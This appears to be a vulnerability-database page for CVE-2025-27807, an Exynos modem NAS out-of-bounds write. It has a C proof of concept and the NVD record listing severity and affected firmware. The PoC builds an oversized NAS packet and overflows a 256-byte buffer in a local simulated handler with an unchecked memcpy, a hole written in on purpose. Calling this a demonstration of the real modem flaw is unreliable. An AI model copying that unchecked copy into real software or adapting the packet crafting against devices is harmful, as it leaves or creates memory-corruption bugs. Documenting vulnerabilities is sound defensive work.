CVE-2025-27807

// CVE-2025-27807 PoC - Malformed NAS Packet Generator // This PoC demonstrates the vulnerability in Samsung Exynos NAS protocol handling #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // NAS Message Header Structure typedef struct { uint8_t protocol_discriminator; uint8_t security_header_type; uint16_t message_type; uint32_t length; // This field is not properly validated } nas_header_t; // Craft malformed NAS packet with excessive length unsigned char* craft_malformed_nas_packet(uint32_t declared_length) { unsigned char* packet = malloc(declared_length + sizeof(nas_header_t)); if (!packet) return NULL; nas_header_t* header = (nas_header_t*)packet; header->protocol_discriminator = 0x07; // 5GS mobility management header->security_header_type = 0x00; header->message_type = 0x00; header->length = declared_length; // Declared length > actual buffer // Fill payload with pattern to trigger overflow unsigned char* payload = packet + sizeof(nas_header_t); memset(payload, 0x41, declared_length); // Overflow data return packet; } // Simulate vulnerable NAS processing void process_nas_message(unsigned char* data, uint32_t declared_len) { // Vulnerable: No validation that declared_len matches actual data uint32_t buffer_size = 256; // Fixed small buffer unsigned char buffer[256]; // Vulnerability: memcpy without length check memcpy(buffer, data, declared_len); // Can overflow buffer } int main() { printf("CVE-2025-27807 PoC - NAS Packet Overflow\n"); printf("Target: Samsung Exynos Processors\n\n"); // Craft packet with length exceeding buffer size uint32_t malicious_length = 1024; // Much larger than buffer unsigned char* malicious_packet = craft_malformed_nas_packet(malicious_length); if (malicious_packet) { printf("Malformed NAS packet crafted:\n"); printf(" Declared Length: %u bytes\n", malicious_length); printf(" Actual Buffer: 256 bytes\n"); printf(" Overflow Size: %u bytes\n", malicious_length - 256); // Trigger vulnerability process_nas_message(malicious_packet, malicious_length); free(malicious_packet); } return 0; }

{"cve": {"id": "CVE-2025-27807", "sourceIdentifier": "[email protected]", "published": "2026-01-05T19:15:55.933", "lastModified": "2026-01-09T14:14:39.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 9110, W920, W930, W1000, Modem 5123, Modem 5300, Modem 5400. The lack of a length check leads to out-of-bounds writes via malformed NAS packets."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCF6C91D-DECE-4630-85FE-C22EF2B9160A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:*", "matchCriteriaId": "87FE8214-E165-4874-BB5A-3C4298708039"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "5F18F62E-2012-442E-BE60-6E76325D1824"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D8701B6-6989-44D1-873A-A1823BFD7CCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "1928760C-4FC4-45B0-84FF-C1105CD1DD2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:*", "matchCriteriaId": "BB410A6D-642B-49AE-8B1C-EADA953A84DA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2100_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "89B88BFE-3C82-498C-8EC1-5784836DB1A1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9385885D-654A-496E-8029-7C6D9B077193"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD1A7B09-9031-4E54-A24F-3237C054166B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFC68046-2F08-40D1-B158-89D8D9263541"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2200_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "63C0D9AC-BD23-48C9-83E7-301DEC06E583"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2200:-:*:*:*:*:*:*:*", "matchCriteriaId": "A72ADEBB-ED72-4A5B-BB27-95EDE43F8116"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1330_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2635646-DD6A-4735-8E01-F45445584832"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1330:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA0F8A58-71B7-4503-A03A-6FB4282D75BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:* ... 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